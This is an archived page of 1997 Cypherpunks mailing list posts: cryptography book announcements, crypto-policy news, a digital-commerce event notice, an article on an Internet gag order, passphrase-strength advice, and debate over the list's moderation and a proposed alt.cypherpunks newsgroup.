FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute.

1 0

STE_pup
by John Young 17 Dec '03

17 Dec '03

2-10-97: "Euro's creation raises money laundering fears" OECD task force report(*) identifies perils of a single currency and suggests Russian crime groups are linking up with the Mafia and Colombian drug cartels for laundering the new currency. Warns of other e-cash hazards. "Visa to Test Cards For Possible Use On the Internet" E-cash cards to be manufactured by Schlumberger and will use "virtually unbreakable" public-key cryptography. "Computer Security Becomes Biometric With Print Matching" Oracle's new fingerprint checking device to assure bona fide log-on privileges. Covers other such devices, quotes a maker: "if criminals or hackers get through these, industry will step up one more level." ----- STE_pup * A search is on for the report. Leads welcomed. The task force met last week in Paris.

1 0

Digital Signature Legislation (MN)
by Kevin L Prigge 17 Dec '03

17 Dec '03

Minnesota Legislature has a bill pending in both houses regarding digital signatures, defines certification authorities, and provides for licensing of authorities. http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=H0056.0&session=… http://www.revisor.leg.state.mn.us/cgi-bin/bldbill.pl?bill=S0173.0&session=… A quick read looks good, although I am not a lawyer. This only affects digital signatures used in financial transactions, AFAIK, and does not prohibit non-licensed cert authorities. -- Kevin L. Prigge | Some mornings, it's just not worth Systems Software Programmer | chewing through the leather straps. Internet Enterprise - OIT | - Emo Phillips University of Minnesota |

1 0

sandy who??
by anand abhyankar 17 Dec '03

17 Dec '03

hi guys, i am a new addition on the mailing list. i am amazed to find that half the mails talk about "sandy (god knows who he is) and he censoring mails" rather than crypto stuff. somebody please let me know who sandy is and what exactly is this censoring issue. anand....

2 1

Re: Moderation experiment almost over; "put up or shut up"
by Dale Thorn 17 Dec '03

17 Dec '03

Brad Dolan wrote: > How do you encourage people to use resources more-or-less wisely? > 1. The socialist/nanny model - take charge and give 'em orders > We've tried that and it apparently didn't work out. > 2. The market model - charge people for what they use > A while back, omebody suggested a system which would be self-funding, by > charging people for each post they made. Maybe we should try it? If > each little piece of ASCII art cost a poster a buck or two to send, he > might send fewer. On the other hand, we don't want to discourage > interesting posters, so I think some system to reimburse interesting > posters would be useful. > I'm not the guy to set up the system, but I'll happily buy a modest amount > of "posting tickets." When you're a spy, you usually pay for info. In John's case, he's been getting the info for free. Now you're suggestion he charge people for providing him the info. This is not the direction John wants to go. He just wants cleaner info, that's all.

1 0

Re: Passphrase generation
by Adam Shostack 17 Dec '03

17 Dec '03

You want to think about how does someone attack the passphrase? Essentially, there are dictionary methods, where probably passphrasess are checked. These are enhanced by the use of changers, where the word is modified in ways common to people changing passwords: target Target targeT target0 0target target1 Crack, by Alex Muffet, produces on the order of 1000 derived words per word its given. I use phrases of 30-90 pink elephants with some arbitrary pizzas tossed on the floor. Adam Jeremiah A Blatz wrote: -- Start of PGP signed section. | Internaut <unde0275(a)frank.mtsu.edu> writes: | > Hi, | > I am wanting to learn how to generate a passphrase that is at least as | > strong as the IDEA algorithm. I have looked several other places on the | > web for an answer to this, but they all had different things to say that | > didn't add up (no pun intended :). | | Chech out the cannonical passphrase FAQ: | http://www.stack.nl/~galactus/remailers/passphrase-faq.html | | This one has some quick reminders of what to do and not to do | http://www.encryption.com/pphrase.htm | | Bottom line, totally random ASCII will have lots of bits per | character, but english has about 1.2 bits per character. Misspellings | can add to that, depending on the extent of mutillation . Combining | certain words can make your passphrase weaker (such as "To be or not | to be," "This is my passphrase," etc.). | | HTH, | Jer | | "standing on top of the world/ never knew how you never could/ never knew | why you never could live/ innocent life that everyone did" -Wormhole -- End of PGP signed section. -- "It is seldom that liberty of any kind is lost all at once." -Hume

1 0

Re: Moderation experiment almost over; "put up or shut up"
by Dale Thorn 17 Dec '03

17 Dec '03

Sandy Sandfort wrote: > You have probably just read John's post. I truly hope YOU (each > and every one of you) can rise to his challenge. If you have > offered nothing in the past but criticism, it's now time to get a > bit more real. What will it be, your money, time, equipment? What challenge? An offer to break code for money? Not likely, is it? > I would hope that the loudest advocates of "free speech" turn out > to be the most generous, but I'm not holding my breath. Maybe > the solution(s) will come from you lurkers. I hope you can put > down your beer long enough to get involved. Generous with what? Get involved with crypto? That's why they're here in the first place, yes? > Finally, if anyone wants to discuss why the Cypherpunk list has > come to this, or what I did right or wrong as a moderator, let's > talk about--on the new list(s) YOU create. For now, though, it's > off-topic. We have work to do. I think they already talked about it, and the decision is in. What does "off-topic" mean? Does it mean further criticism will be censored? > P.S. To all those people who privately supported me in my attempt > to help the list deal with its problems, thank you. Help the list? You almost destroyed the list. If you wanted to help, you should have provided lessons on filtering. > I wouldn't have come back without your and John's encouragement. A lot of people wish you hadn't come back.

1 0

[CRYPTO] Classic Cryptography
by Brian D Williams 17 Dec '03

17 Dec '03

FOR IMMEDIATE RELEASE 6 February 1997 Aegean Park Press proudly announces publication of CLASSICAL CRYPTOGRAPHY COURSE - VOLUME II by Randall K. Nichols [LANAKI]. [ISBN: 0-89412-264-9, 1997, 464 pages, $US 40.80 ] Volume II presents Lectures 11 - 22 (of a total of twenty five) from his successful course in Classical Cryptography taught in 1995 and 1996 to 391 students via the Internet and an additional 65 via regular mail. Volume II covers polyalphabetic substitutions ciphers in the Vigenere family (Viggy, Variant, Beaufort, Porta, Gronsfeld, Portax, Gromark), decimation, principles of symmetry, isologs and superimposition solution techniques. Volume II describes the difficult aperiodic cipher systems (Interrupted key, Autoclave, Progressive, Running Key used in cipher machines) and their analysis by isomorphs, and repetitions. Cryptarithm solutions for extended bases are presented. The theory of coincidences and statistical attacks (Kappa, Chi, Phi) derived from this important theory are detailed. Transposition theory and a variety of transposition ciphers are solved (Columnar, Amsco, Myszkowski, Cadenus, Grille, Swagman, Auto-Transposition). Volume II has two chapters on the difficult cipher systems invented by the famous French cryptographer Delastelle: Foursquare, Bifid and Trifid. Volume II presents a detailed chapter on passwords, law and data protection. Volume II ends with a historical look at codes, commercial code systems, and famous cipher machines. Volume II is a potpourri of advanced topics in classical cryptography. The Cryptographic Resources and References section has been expanded to cover all phases of involvement with cryptography: cryptanalysis, history, legal, social, classical, modern, NSA, mathematical techniques, recreational, intelligence, tactical, strategic, National Defense, INFOSEC: offensive and defensive, hardware, software, standards, public key cryptography, web sources, and applicable Senate and House bills. Readers are encouraged to expand their knowledge in the many directions possible to them through this section. For orders or Information Contact: Aegean Park Press, P.O. Box 2837, Laguna Hills, Ca. 92654. Telephone: 1-800-736-3587; Fax: 1-714-586-8269. Group discounts available. REVIEW OF CLASSICAL CRYPTOGRAPHY COURSE, VOLUME I By the Honorable David Kennedy, Director of Research, NCSA. Classical Cryptography Course, Volume I. By Randall K. Nichols; published by Aegean Park Press, (714) 586-8811 (phone) (714) 586-8269 (fax); (800) 736 - 3587; 301 pages (with index); $34.80 (American Cryptogram Association members receive a 20% discount through ACA or NCSA Members receive a 10% discount if purchased from the NCSA Bookstore) In Classical Cryptography Course, Volume I, author Randall K. Nichols has created a benchmark for serious students of the science of cryptography. This is a text. It is for learning, and with it one cannot help but learn about the foundations of the science. An outgrowth of Nichols' admitted "labor of love" in the online Cryptography Courses he teaches over the Internet, Volume I creates the foundation for understanding the development of the science. The ten chapters of this volume lead the student through simple substitutions, substitutions with variants, multiliteral substitutions, xenocrypts (foreign language substitutions), cryptarithms, the Enigma machine (separate Enigma95 program disk available direct from the author) and finally to polyalphabetic substitutions. Seven chapters conclude with problems; solutions and discussions are provided in an appendix. The text is indexed with twenty-four pages of references for further study. I found Nichols' sense of the history of cryptography particularly noteworthy. The volume is liberally salted with citations from history with applications of the methods developed in the text. From Revolutionary France through the American Civil War, the Tammany Hall scandal, Revolutionary Soviet ciphers and Japanese successes against Chinese codes prior to Pearl Harbor, the text provides touchstones for student to understand and relate to. Phil Zimmermann observed in the documentation to his Pretty Good Privacy Program to "Beware of Snake Oil." Among his arguments is this anecdote: I remember a conversation with Brian Snow, a highly placed senior cryptographer with the NSA. He said he would never trust an encryption algorithm designed by someone who had not "earned their bones" by first spending a lot of time cracking codes. Where Schneier's Applied Cryptography is a crash course in some encryption protocols and algorithms in use today, Nichols' text begins the teaching of Snake Oil detection and prevention. Learning the fundamentals, developed throughout the text, brings a richer understanding of the science, it's history and insight into it's possibilities and some vulnerabilities lurking for the unwary. Nichols plans for release Volume II in the series with advanced material on from the online course which includes statistical attacks and transposition in February, 1997. Reviewer: Dave Kennedy, CISSP, is Director of Research for the National Computer Security Association, Carlisle, PA. He is a retired Army military police officer and member of NCSA, ASIS, ISSA and the Computer Security Institute.

1 0

DCSB: Online Government & Electronic Commerce - Legislation and Public Sector Initiatives
by Robert Hettinga 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- The Digital Commerce Society of Boston Presents Daniel Greenwood, Esq. Deputy General Counsel Information Technology Division Commonwealth of Massachusetts "Online Government & Electronic Commerce - Legislation and Public Sector Initiatives" Tuesday, March 4, 1997 12 - 2 PM The Downtown Harvard Club of Boston One Federal Street, Boston, MA Dan will give us an update on recent information age legislative and operational developments in the public sector. Special attention will be paid to: Electronic Signature and Record Legislation; Joint Government/Private Sector Attempts to Set Certification Authority Standards; Cutting Edge Public Sector PKI Projects; Recent Coordinated State-Federal-Foreign Electronic Commerce Policy Initiatives; and much, much more . . . Speaker: Daniel Greenwood, Esq. Information Technology Division, Deputy General Counsel Commonwealth of Massachusetts Office: http://www.state.ma.us/itd/legal home: http://www.tiac.net/biz/danielg Mr. Greenwood practices information technology law for the Commonwealth of Massachusetts. Recent relevant activities include: * Co-Author of the Draft 1997 Mass. Electronic Records and Signature Act * Chairman of the Commonwealth of Mass. PKI Task Force * Chairman of the ABA Info. Security Comm., Legislative Sub-Committee * Co-Chair of the ABA Cyberspace Law Comm., Legislative Work Group * Contributing Author: ABA Digital Signature Guidelines * Negotiator of Contracts for Internet Security and Payment Systems * Board Member of SigNet.Org and Chair of Legal Special Interest Group * Director of the Virtual State House Project (MIT/Stanford Law School) * Faculty Member: MCLE Health Care & Info. Technology Program * Guest Lecturer for Suffolk Law School High Tech. Symposium * Selection Board Chairman for First Commonwealth of Mass. C/A Business This meeting of the Digital Commerce Society of Boston will be held on Tuesday, March 4, 1997 from 12pm - 2pm at the Downtown Branch of the Harvard Club of Boston, One Federal Street. The price for lunch is $27.50. This price includes lunch, room rental, and the speaker's lunch. ;-). The Harvard Club *does* have dress code: jackets and ties for men, and "appropriate business attire" for women. We will attempt to record this meeting and put it on the web in RealAudio format at some future date We need to receive a company check, or money order, (or, if we *really* know you, a personal check) payable to "The Harvard Club of Boston", by Saturday, March 1, or you won't be on the list for lunch. Checks payable to anyone else but The Harvard Club of Boston will have to be sent back. Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston, Massachusetts, 02131. Again, they *must* be made payable to "The Harvard Club of Boston". If anyone has questions, or has a problem with these arrangements (We've had to work with glacial A/P departments more than once, for instance), please let us know via e-mail, and we'll see if we can work something out. Planned speakers for DCSB are: March Daniel Greenwood The Role of State Government in Digital Commerce April Stewart Baker Encryption Policy and Digital Commerce We are actively searching for future speakers. If you are in Boston on the first Tuesday of the month, and you would like to make a presentation to the Society, please send e-mail to the DCSB Program Commmittee, care of Robert Hettinga, <mailto: rah(a)shipwright.com> . For more information about the Digital Commerce Society of Boston, send "info dcsb" in the body of a message to <mailto: majordomo(a)ai.mit.edu> . If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in the body of a message to <mailto: majordomo(a)ai.mit.edu> . Looking forward to seeing you there! Cheers, Robert Hettinga Moderator, The Digital Commerce Society of Boston -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMwB+VvgyLN8bw6ZVAQEsRAQAiInZXDXlzdMn0B+b9A6zgWHH5POJku5v k9HIZK286Paw1KWKYsw8VyYjUoG4vq/LAh1CagWkwL4EN9Ysg7kbU+LP0W4u04vb /QoKk5rWpmXuplXx1Fp9IhIe2O6oV0vTInJqPV3zkXk4qGzYUrQ0bqLbQn769iMO 7pwwVbkioSc= =m5Pz -----END PGP SIGNATURE----- ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/

1 0

Indiana judge extends gag order to the Net, from TNNN
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST) From: Declan McCullagh <declan(a)well.com> To: fight-censorship(a)vorlon.mit.edu Subject: Indiana judge extends gag order to the Net, from TNNN The Netly News Network http://netlynews.com/ Gag On This by Declan McCullagh (declan(a)well.com) February 10, 1997 The point of moving a trial or selecting a jury from a distant county is, of course, to prevent jurors from being influenced by the local media and opinions of the nearby community. But what if the media are global and the community is virtual? That enigma is causing problems for an Indiana couple on trial for reckless homicide in the November 1995 death of their son from meningitis. Bill and Sarah Planck had hoped to demonstrate their innocence through the Net, and so another son created a web site with documents from a counter-lawsuit filed against the county welfare agencies and sheriff's department, detailing how police threatened and intimidated the family. Now the judge presiding over their criminal trial has ordered the Plancks to pull the plug on the site. Madison County judge Fredrick Spencer told me he extended an existing gag order to the Internet because the tort claim notice could influence jurors. "We went two counties away to get the jury. But people in Randolph County have computers and America Online. So to avoid any possible problem, I ordered them to take it off," Spencer said. Spencer says the order was necessary to preserve the integrity of the trial. "It's only the trial that I'm concerned with," he said. "If I don't do what I can, I risk having to do [the trial] over again." Yet as soon as the Plancks yanked the documents offline on January 27, copies sprouted on the web site of a supporter -- beyond the reach of Judge Spencer. Who's right, Spencer or the Plancks? I posed that question to David Post, a professor at Georgetown Law School. "Gag orders may in a way be a thing of the past," he replied. "It becomes an enforcement dilemma with respect to the Internet. It's a hell of a lot easier to enforce that gag order [locally]. You really only have to keep your eye on a very small number of dissemination vehicles," Post said. "Gag orders are violated on occasion, but by and large you have some confidence that they'll be respected. Obviously you can't anymore." Gag orders stem from the right to an impartial jury. "We think that sometimes -- rarely, but sometimes -- that can best be accomplished by controlling the kind of information potential jurors might see. The Net deforms the landscape," Post said. Katharine Liell, the Plancks' attorney, was reluctant to discuss the case for fear of violating the gag order -- which covers her as well. "I'm uncertain what I can and can't say due to the vagueness of the gag order," she said. "Gag orders are supposed to be specific in nature, but I don't understand the nature or breadth of this gag order so I'm not comfortable commenting at this time." The legal question at issue in this prosecution is whether the Plancks are guilty of four felony charges, including reckless homicide and involuntary manslaughter, in the death of Lance Planck from pneumococcal meningitis. The verdict may depend on the answer to one question: Did the Plancks wait too long to call 911? More than the couple, however, is on trial. The case also reveals how a child protection agency can be used as a weapon to threaten parents and divide a family. The mirrored documents tell a sad story of a poor family who lived in a trailer park and home-schooled their eight children, and their long-standing battle with Madison County social workers. The first salvo came in 1992, when a social worker visited the Planck home to investigate the children's alleged vision problems. Based on that visit, a judge ordered that their eyes be examined. A month later, police invaded the Planck home and forcibly removed the children. The tort notice describes other encouters, including tear gas canisters lobbed into their home and warrantless arrests. "I've known the Plancks for a long time," said Brent Tobin, an electrical engineer who mirrored the web site. "I've lived in the town all my life. I know there's nothing going on there. The deputy prosecutor made them out to be religious weirdos, but they're not." "I put up the web site since I don't feel that the county government should have jurisdiction over the World Wide Web. I think there should be freedom of speech. I feel gag orders are a violation of rights," Tobin said. For his part, Judge Spencer emphasized that his gag order "expires at the end of the case. Free speech is an important right and I'm going to be the last person to have a problem with it." What about the mirror site? Has his order accomplished anything? "The Planck supporters are going to put it on there," Spencer replied. "If you're suggesting that I'm tilting at windmills, perhaps you're right." ###

1 0

STE_pup
by John Young 17 Dec '03

17 Dec '03

2-10-97: "Euro's creation raises money laundering fears" OECD task force report(*) identifies perils of a single currency and suggests Russian crime groups are linking up with the Mafia and Colombian drug cartels for laundering the new currency. Warns of other e-cash hazards. "Visa to Test Cards For Possible Use On the Internet" E-cash cards to be manufactured by Schlumberger and will use "virtually unbreakable" public-key cryptography. "Computer Security Becomes Biometric With Print Matching" Oracle's new fingerprint checking device to assure bona fide log-on privileges. Covers other such devices, quotes a maker: "if criminals or hackers get through these, industry will step up one more level." ----- STE_pup * A search is on for the report. Leads welcomed. The task force met last week in Paris.

1 0

Re: Moderation experiment almost over; "put up or shut up"
by Alan Olsen 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote: >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > SANDY SANDFORT > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > >C'punks, > >You have probably just read John's post. I truly hope YOU (each >and every one of you) can rise to his challenge. If you have >offered nothing in the past but criticism, it's now time to get a >bit more real. What will it be, your money, time, equipment? What kind of memory requirements/machine load does the list eat up? I have a machine that may fit this purpose... (Need to know if I need to upgrade the box though.) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBMwCeq+QCP3v30CeZAQGpwAf+MXRvC4wB6LeJkwsQa7yWI1g2TEYFJZ6O 1wD1S1QeRu1GMGRfUC3/9OTsQFijQLrOVb3MIXiy7bYxzcZsShd2cgKf4cL3HhjV T/PH1M2uUEpOJEHLF4jCKvspySgCuLfHK+7V0+fNRO0MFQZZeCNvEd2Awog8Ue0q OIi/jwBvzNITeBQzGu8zrBuS3VHWjMmi66kio1GV6xFL+JLwQWMsi6hT8hSiZ/TT fOhvAfECT/hGFFDdu3/R0JYkw1B9IO7Uh0NNgH1pl7HoJiBWfU/HTDoRsruKkweX 7eDVPxB0MR10Q5XCeoH1EA3Lwd3HdNFVEsUJc+myjN58vnZ5Vo+TGQ== =CWO1 -----END PGP SIGNATURE----- --- | "Mi Tio es infermo, pero la carretera es verde!" | |"The moral PGP Diffie taught Zimmermann unites all| Disclaimer: | | mankind free in one-key-steganography-privacy!" | Ignore the man | |`finger -l alano(a)teleport.com` for PGP 2.6.2 key | behind the keyboard.| | http://www.ctrl-alt-del.com/~alan/ |alan(a)ctrl-alt-del.com|

1 0

Recommendation: Creation of "alt.cypherpunks"
by Timothy C. May 17 Dec '03

17 Dec '03

(Please leave my name in any replies to ensure I see your comments.) I talked to Hugh Daniel at the Saturday meeting about the creation of an "alt.cypherpunks" unmoderated (of course) newsgroup as a possible alternative (or supplement) to cypherpunks(a)toad.com. Greg Broiles and John Gilmore were there for part of the discussion, too. (We did not, unfortunately, get to the "future of the list" topic at the physical meeting...the excellent presentations ran way over the expected time and we never got to this topic. Sort of too bad, given John's edict that we have 10 days to find and implement an alternative....) A Usenet newsgroup has many advantages and disadvantages. Whether it might be gatewayed to other mailing lists--perhaps even the list(s) which survives "cypherpunks(a)toad.com"--depends of course on the decision of those hosting others lists. A charter statement is needed, and then the issuance of a creation message. A better charter statement will increase the chances of more sites carrying the newsgroup. While many sites carry essentially all newsgroups--more than 30,000--, some sites do not and only carry some of the alt.heirarchy. And some sites do not carry _any_ of the alt newsgroups. At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement. Suggestions for additional language or changes are welcome. Charter for alt.cypherpunks: (suggested) "Alt.cypherpunks is for the unmoderated discussion of cryptography and the political, social, and economic implications of unrestricted, strong cryptography. The Cypherpunks grpup has existed since 1992 and has been central in the debate about strong crypto, government restrictions, crypto anarchy, and in showing weaknesses of various ciphers and security products. The mailing list has had as many as 1500 subscribers, plus gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks" will be a free-wheeling forum for many viewpoints. As it is unmoderated, readers are strongly advised to learn how to use filters and other tools for making virtual anarchies manageable for their own tastes." I invite your comments, editorial suggestions, etc. Perhaps when enough of the "collective mind" has made inputs (ughh!), the charter can be submitted with the creation message. (I'm not knowledgeable about the process, but I'll bet many of you are.) There are of course disadvantages to such a newsgroup, as any Usenet user certainly knows. However, there are advantages as well. Here are some of each: * Advantages: - Usenet is set up to automagically propagate articles across tens of thousands of sites. - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.) for halting distribution of Usenet newsgroups. (Canada stopped some Homulka-Teale newsgroups a few years ago, other countries have blocked entire sections, but note that the Scientologists have been unable to block "alt.religion.scientology"...I surmise that a mailing list version of a.r.s. would have faced lawsuits against the list.owner, if reachable in U.S. or European courts...a lesson to think about with the current imbroglio over certain claims about certain products and the possible liability of Sandy and/or toad.com.) - fairly sophisticated newsreading software already exists. - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers to discover the group, read it for a while, then stop. It also, of course, increases the number of "What is crypto?" sorts of messages.) - persons cannot be unsubscribed from an unmoderated list - with a Usenet group, there is no ability to impose notions of "order" on the list (e.g., requirements for PGP-signing, demands for "on-topic" posts, removal of "illegal" posts, etc.). Thus, people must deal with a virtual anarchy by using proper tools, by ignoring what they don't want to see, or by contracting out the role of "nanny" to others. * Disadvantages - Usenet newsgroups are easy targets for spammers, even more so than are mailing lists. - crossposting often gets out of hand. (With 30,000+ newsgroups, even well-intentioned posters often pick the "three or four most likely" targets for their posts). - propagation is often spotty, and some sites have no access at all to the "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many academic sites block just the alt.binaries.pictures heirarchy. Etc. A news to mailing list gateway is possible for these readers.) - propagation may be slower than mailing lists. - Usenet is of course archived and easily searchable via Alta Vista, Deja News, etc.. This bothers some people. (However, the CP mailing list is now also archived and searchable, so the disadvantage is becoming moot.) - persons cannot be unsubscribed from an unmoderated list (this is also an advantage, of course) - there will be more newbie-type messages, as casual browsers of Usenet discover alt.cypherpunks and ask questions. This is both a disadvantage and an advantage. * Discussion of some of these points: 1. The issue of slow- or non-propagation can be handled by having mailing lists which bounce the traffic (from a well-connected site) to folks who get slow distribution, or no distribution at all. News to mail gateways, in other words. Traffic in the reverse direction (end reader back to alt.cypherpunks) can be handled either by "blind posting" to the a.c. newsgroup, via one's newsreader, or through mail-to-news gateways, or perhaps via the distributor described here. 2. And the services of "moderators," such as Eric Blossom's and Ray Arachelian's "best of" lists, or even Sandy's list, are of course still possible. A newsgroup does not change this, except for the latency in getting messages out to newsgroup sites. 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The Usenet carries huge advantages in terms of having no place to attack it. 4. Some have raised the point that Usenet is "inefficient" and should not be used for this reason. Well, it may indeed be ineficient, but the costs have already been incurred, and alt.cypherpunks would only be 1/30,000th of additional load (very roughly speaking). In other words, might as well use what's out there. If a "second Usenet" ever comes into existence, fine. 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At that time, we thought the mailing list had some major advantages. In my view, the situation has changed dramatically since then. The mailing list has become huge, the volume of noise has increased, majordomo is allowing the list to be used for spamming (any 'bot system will probably have this), and the list is already gatewayed to many sites as a _newsgroup_ anyway. So, I think the time has come to just create it. The "activation energy barrier" of a mailing list, where people would have to make the effort to subscribe, has long since become irrelevant. It may be a target for spammers, but it's hard to imagine it being much worse than what we have now. Usenet is an anarchy. We might as well use it. I've never created an alt group, but I presume many of you have (and I know of one currently fed up Cypherpunk who created the entire alt.* hierarchy a decade or so ago). I presume some of you can thus help in such an effort. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway."

7 12

STE_pup
by John Young 17 Dec '03

17 Dec '03

2-10-97: "Euro's creation raises money laundering fears" OECD task force report(*) identifies perils of a single currency and suggests Russian crime groups are linking up with the Mafia and Colombian drug cartels for laundering the new currency. Warns of other e-cash hazards. "Visa to Test Cards For Possible Use On the Internet" E-cash cards to be manufactured by Schlumberger and will use "virtually unbreakable" public-key cryptography. "Computer Security Becomes Biometric With Print Matching" Oracle's new fingerprint checking device to assure bona fide log-on privileges. Covers other such devices, quotes a maker: "if criminals or hackers get through these, industry will step up one more level." ----- STE_pup * A search is on for the report. Leads welcomed. The task force met last week in Paris.

1 0

Re: Moderation experiment almost over; "put up or shut up"
by Firebeard 17 Dec '03

17 Dec '03

>>>>> John Gilmore writes: JG> Sandy has agreed to continue moderation through the end of the JG> original 1-month experiment (through Feb 19). And it's a good JG> thing, too, because the "cypherpunks community" had better get off JG> its whining butt in the next ten days, or it will no longer exist. [...] JG> This is a "put up or shut up" to the cypherpunks community. This appears to be as good a time as any to announce that I'm "putting up". I've already taken steps, along with Jim Choate, to start a network of majordomos hosting a Cypherpunks mailing list. I didn't intend to announce this until Jim and I had gotten the first pair of 'domos working properly, but this means that we'll need to speed things up. Our intention is to have a set of majordomos which are intersubscribed to a cypherpunks list on each one, with measures taken to ensure that mail loops don't develop. As the resulting mailing list from each 'domo will be identical, periodically (initially weekly), the subscriber lists of all of the participating majordomos will be compared, with any duplicate subscribers being removed from the 'domo(s) with the longest subscriber list. There will be no filtering done of any mail to the collective list, although anyone interested in providing a filtered list will be welcome to subscribe to the list. Anyone interested in joining the 'domo network with the conditions described (duplicate subscriber checking and no filtering) is welcome. John, I'd appreciate your permission to use your Cypherpunks welcome message as the basis for the welcome message of this new list. Also, while we will make every effort to have this new list available for subscriptions by Feb 20, I'd appreciate it if you could consider making the current list available for a short period longer if we encounter unanticipated difficulties. -- #include <disclaimer.h> /* Sten Drescher */ ObCDABait: For she doted upon their paramours, whose flesh is as the flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] ObFelony: President Clinton, you suck, and those boys died! Unsolicited bulk email will be stored and handled for a US$500/KB fee.

1 0